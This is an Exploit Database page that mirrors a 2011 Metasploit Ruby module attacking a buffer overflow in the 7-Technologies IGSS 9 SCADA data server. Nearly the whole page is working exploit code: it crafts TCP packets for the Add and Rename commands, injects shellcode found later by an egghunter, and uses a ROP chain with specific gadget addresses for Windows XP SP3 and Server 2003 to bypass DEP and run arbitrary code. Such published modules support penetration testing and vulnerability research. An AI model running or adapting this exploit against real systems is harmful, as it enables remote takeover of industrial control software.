7-Technologies IGSS 9 – IGSSdataServer .Rms Rename Buffer Overflow (Metasploit)

• Exploit Database
• 97 阅读

• 作者： Metasploit
  日期： 2011-06-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17374/

• ##
  # $Id: igss9_igssdataserver_rename.rb 12886 2011-06-09 06:04:04Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",
  			'Description'=> %q{
  					This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying
  				a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,
  				a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,
  				which results arbitrary code execution under the context of the user.
  
  				The attack is carried out in three stages.The first stage sends the final payload to
  				IGSSdataServer.exe, which will remain in memory.The second stage sends the Add command
  				so the process can find a valid ID for the Rename command.The last stage then triggers
  				the vulnerability with the Rename command, and uses an egghunter to search for the
  				shellcode that we sent in stage 1.The use of egghunter appears to be necessary due to
  				the small buffer size, which cannot even contain our ROP chain and the final payload.
  			},
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 12886 $",
  			'Author' =>
  				[
  					'Luigi Auriemma <aluigi[at]autistici.org>',#Initial discovery, poc
  					'sinn3r',#Metasploit
  				],
  			'References' =>
  				[
  					['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
  				],
  			'Payload'=>
  				{
  					'BadChars'=> "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "seh",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows XP SP3',
  						{
  							'Ret'=> 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll
  							'RopOffset'=> 68, #Offset to the ROP chain
  							'Offset' => 500,#Offset to SE Handler (stack pivot)
  							'Max'=> 8000, #Max buffer size
  						}
  					],
  					[
  						'Windows Server 2003 SP2/R2 SP2',
  						{
  							'Ret' => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll
  							'RopOffset' => 76, #Offset to the ROP chain
  							'Offset'=> 500,#Offset to SE Handler (stack pivot)
  							'Max' => 8000, #Max buffer size
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Mar 24 2011"))
  			
  			register_options(
  				[
  					Opt::RPORT(12401, false),
  				]
  			)
  	end
  
  	#We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before
  	#triggering the vulnerable code path we're trying to hit.Without this, we'll just hit
  	#"FAILED renameDicRec.ID not found %s" (logText function).
  	def add_template(id)
  		buf= ''
  		buf << "\x9b\x00"#Packet size
  		buf << "\x01\x00\x34\x12"
  		buf << "\x07"#Opcode
  		buf << "\x00\x00\x00\x00\x00\x00\x00"
  		buf << "\x01"#Flag
  		buf << "\x00\x00\x00"
  		buf << "\x04"#Command (add)
  		buf << "\x00\x00\x00"
  		buf << id
  		buf << "\x00"
  		buf << "\x00"*31
  		buf << "\x78"
  		buf << "\x00"*63
  		buf << "\x78"
  		buf << "\x00"*28
  
  		connect
  
  		sock.put(buf)
  
  		print_status("Sending ADD command to #{datastore['RHOST']}")
  		res = sock.recv(1024)
  
  		disconnect
  
  		return res
  	end
  
  	#Since we don't have a lot of space on the stack when we trigger the overflow, we send a
  	#separate packet that contains our final payload, and let egghunter look for it later in memory
  	def inject_payload(my_payload)
  
  		buf= ''
  		buf << "\x01\x00\x34\x12"
  		buf << "\x0D"#Opcode
  		buf << "\x00\x00\x00\x00\x00\x00\x00"
  		buf << "\x01"#Flag
  		buf << "\x00\x00\x00"
  		buf << "\x01"#Command (ListAll)
  		buf << "\x00\x00\x00"
  		buf << my_payload
  		buf << Rex::Text.rand_text_alpha(1024-my_payload.length)
  		buf << "\x00"*130
  
  		#Packet size
  		buf_size = [buf.length + 2].pack('v')
  		buf = buf_size + buf
  
  		connect
  
  		sock.put(buf)
  		print_status("Injecting payload in memory to #{datastore['RHOST']}")
  
  		disconnect
  	end
  
  	#It's definitely junk
  	def junk
  		return rand_text(4).unpack("L")[0].to_i
  	end
  
  	def sploit_rename(id)
  		#Egghunter is used because we don't really have a lot of space on the stack
  		#to fit the ROP chain and a larger payload
  		eggoptions =
  		{
  			:checksum=> true,
  			:eggtag=> 'W00T',
  			:depmethod => 'virtualprotect',
  			:depreg=> 'esi'
  		}
  
  		hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
  
  		#depreg(Put VirtualProtect in ESI)
  		esi= "\x81\xf6\x16\x1b\x5f\x5e"#XOR ESI, 0x5E5F1B16
  		esi << "\x3e\x8b\x36"#MOV ESI, DWORD PTR DS:[ESI]
  
  		#Put depreg alignment
  		hunter = esi + hunter
  
  		#Send final payload first, and let egghunter look for it
  		inject_payload(p)
  
  		#Max ROP chain size we can use is 406 bytes
  		rop= [
  			:xchg_esp_ebp,
  			#0x59ABA24B,#PUSH ESP # POP EBP # RETN[dbghelp.dll]
  			junk,
  			junk,
  			junk,
  			junk,
  			0x1B76A59E,#XCHG EAX,EBP # RETN[dao360.dll]
  			0x1B8260DD,#ADD EAX,20 # RETN[msjtes40.dll]
  			:add_eax_100,
  			#0x1B09FA13,#ADD EAX,100 # RETN 0C[MSJET40.DLL]
  
  			#VirtualProtect Argument ([0x540214])
  			:xchg_eax_ecx,
  			junk,
  			junk,
  			junk,
  			:pop_eax,
  			0x3BABFD6D,#0x3BABFD6D xor 0x3BFFFF79
  			0x1B7802A3,#XOR EAX,3BFFFF79 # RETN[dao360.dll]
  			0x1b73f3bd,#MOV EAX,DWORD PTR DS:[EAX] # RETN[dao360.dll]
  			:xchg_eax_ecx,
  			0x1B829E75,#MOV DWORD PTR DS:[EAX],ECX # RETN[msjtes40.dll]
  			0x1B74C50A,#ADD EAX,4 # RETN[dao360.dll]
  
  			#Retn:
  			:xchg_eax_esi,
  			#0x1B0505C1,#PUSH EAX # POP ESI # RETN 4[MSJET40.DLL]
  			0x1B8260DD,#ADD EAX,20 # RETN[Module : msjtes40.dll]
  			junk,
  			0x1B8260DD,#ADD EAX,20 # RETN[msjtes40.dll]
  			0x1B8260DD,#ADD EAX,20 # RETN[msjtes40.dll]
  			0x1B8260DD,#ADD EAX,20 # RETN[msjtes40.dll]
  			:xchg_eax_ecx,
  			:mov_eax_esi_pop_esi,
  			#0x1B03AD44,#MOV EAX,ESI # POP ESI # RETN[MSJET40.DLL]
  			0x5E0B1902,#:depreg initial value to xor
  			0x1B829E75,#MOV DWORD PTR DS:[EAX],ECX # RETN[msjtes40.dll]
  			0x1B74C50A,#ADD EAX,4 # RETN[dao360.dll]
  
  			#Shellcode:
  			0x1B829E75,#MOV DWORD PTR DS:[EAX],ECX # RETN[msjtes40.dll]
  			0x1B74C50A,#ADD EAX,4 # RETN[dao360.dll]
  
  			#Size (100 bytes -- enough for egghunter)
  			:xchg_eax_ecx,
  			:pop_eax,
  			:size_xor,
  			0x1B7802A3,#XOR EAX,3BFFFF79 # RETN[dao360.dll]
  			:xchg_eax_ecx,
  			0x1B829E75,#MOV DWORD PTR DS:[EAX],ECX # RETN[msjtes40.dll]
  			0x1B74C50A,#ADD EAX,4 # RETN[dao360.dll]
  
  			#newProtect (0x40):
  			:xchg_eax_ecx,
  			:pop_eax,
  			0x3BFFFF39,#0x3BFFFF39 xor 0x3BFFFF79
  			0x1B7802A3,#XOR EAX,3BFFFF79 # RETN[dao360.dll]
  			:xchg_eax_ecx,
  			0x1B829E75,#MOV DWORD PTR DS:[EAX],ECX # RETN[msjtes40.dll]
  			0x1B74C50A,#ADD EAX,4 # RETN[dao360.dll]
  
  			#oldProtect
  			0x1B731395,#POP ECX # RETN[dao360.dll]
  			0x1B82B410,#.data section (WR) in msjtes40.dll
  			0x1B829E75,#MOV DWORD PTR DS:[EAX],ECX # RETN[msjtes40.dll]
  
  			#Align the rewind part
  			0x1B829E86,# ADD EAX,0C # RETN[msjtes40.dll]
  
  			#Rewind
  			:rewind,
  
  			#Execute
  			0x1B72A833,#XCHG EAX,ESP # RETN[dao360.dll]
  		]
  
  		#OS specific gadgets
  		rop.map! do |gadget|
  			if gadget == :xchg_esp_ebp
  				(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223
  			elsif gadget == :add_eax_100
  				(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3
  			elsif gadget == :xchg_eax_esi
  				(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71
  			elsif gadget == :xchg_eax_ecx
  				(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D
  			elsif gadget == :mov_eax_esi_pop_esi
  				(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735
  			elsif gadget == :pop_eax
  				(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169
  			elsif gadget == :size_xor
  				(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D
  			elsif gadget == :rewind
  				(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741
  			else
  				gadget
  			end
  		end
  
  		rop = rop.pack('V*')
  
  		sploit= ''
  		sploit << Rex::Text.rand_text_alpha(target['RopOffset'])
  		sploit << rop
  		sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)
  		sploit << [target.ret].pack('V')#Pivot
  		sploit << make_nops(12)#Padding
  		sploit << hunter
  		sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)
  
  		#Create the packet with our naughty payload
  		pkt= "\x00\x04"#Funky size causes overflow
  		pkt << "\x01\x00\x34\x12"
  		pkt << "\x07"#Opcode
  		pkt << "\x00\x00\x00\x00\x00\x00\x00"
  		pkt << "\x02"#Flag
  		pkt << "\x00\x00\x00"
  		pkt << "\x02"#Command
  		pkt << "\x00\x00\x00"
  		pkt << id
  		pkt << "\x00"
  		pkt << sploit
  
  		connect
  
  		print_status("Sending malicious request to #{datastore['RHOST']}")
  		sock.put(pkt)
  
  		handler
  
  		#egghunter takes a few seconds, wait a bit before disconnect
  		select(nil, nil, nil, 3)
  		disconnect
  	end
  
  	def exploit
  		id = Rex::Text.rand_text_alpha(8)
  
  		res = add_template(id)
  		if res !~ /Report/i
  			print_error("Failed to add template:#{res}")
  			return
  		end
  
  		sploit_rename(id)
  	end
  end
  

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